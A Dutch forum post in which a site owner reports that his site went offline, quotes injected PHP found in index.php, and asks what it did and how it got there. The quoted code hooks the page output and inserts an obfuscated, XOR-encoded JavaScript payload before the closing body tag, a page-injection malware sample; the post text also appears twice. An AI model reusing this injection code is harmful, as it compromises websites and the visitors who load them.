Hey,
Ik dacht zoals elke dag "Eens kijken of er nog wat op bouweenpc te doen is" waarna ik tot mijn verrassing zag dat de site offline was. Ik kreeg een parse error "Unexpected T_include once" in line 4."
Anyway, terwijl ik me afvraag hoe dat nou in godsnaam kon aangezien niemand van de mensen die toegang heeft tot de server eraan heeft gewerkt sinds gisterennacht, downloadde ik index.php netjes.
Daar viel mij het volgende op in de code:
op ongeveer regel 4
helemaal onderaan de pagina vond ik dit:
Anyway, toen ik die 2 stukjes code had weggehaald deed de website het weer.
Mijn vragen nu.
WTF is het?
Heeft iemand onnodig toegang tot de webserver gekregen of is het via een hack? Gaat het nu terugkomen? Wat deed de hack oorspronkelijk?
Ik dacht zoals elke dag "Eens kijken of er nog wat op bouweenpc te doen is" waarna ik tot mijn verrassing zag dat de site offline was. Ik kreeg een parse error "Unexpected T_include once" in line 4."
Anyway, terwijl ik me afvraag hoe dat nou in godsnaam kon aangezien niemand van de mensen die toegang heeft tot de server eraan heeft gewerkt sinds gisterennacht, downloadde ik index.php netjes.
Daar viel mij het volgende op in de code:
code:
1
2
| ob_start("phpfake");
php |
op ongeveer regel 4
helemaal onderaan de pagina vond ik dit:
code:
1
2
3
4
5
6
7
| <?php
function phpfake($buffer)
{
$Exp='<script language="JavaScript">e = \'0x00\' + \'6E\';str1 = "%D5%8D%86%9B%F1%9C%9D%96%85%8A%D2%CF%9B%86%9C%86%8F%86%85%86%9D%96%D7%89%86%8D%8D%8A%83%CF%D3%D5%86%8B%9F%8E%82%8A%F1%9C%9F%8C%D2%CF%89%9D%9D%81%D7%C0%C0%96%8A%84%9D%8C%83%9D%C3%86%83%8B%80%C0%85%8D%C0%88%9A%8C%C0%CF%F1%98%86%8D%9D%89%D2%DE%F1%89%8A%86%88%89%9D%D2%DE%D3%D5%C0%86%8B%9F%8E%82%8A%D3%D5%C0%8D%86%9B%D3";str=tmp=\'\';for(i=0;i<str1.length;i+=3){tmp = unescape(str1.slice(i,i+3));str=str+String.fromCharCode((tmp.charCodeAt(0)^e)-127);}document.write(str);</script>';
return (ereg_replace("</body>", "$Exp</body>", $buffer));
}
?> |
Anyway, toen ik die 2 stukjes code had weggehaald deed de website het weer.
Mijn vragen nu.
WTF is het?
Heeft iemand onnodig toegang tot de webserver gekregen of is het via een hack? Gaat het nu terugkomen? Wat deed de hack oorspronkelijk?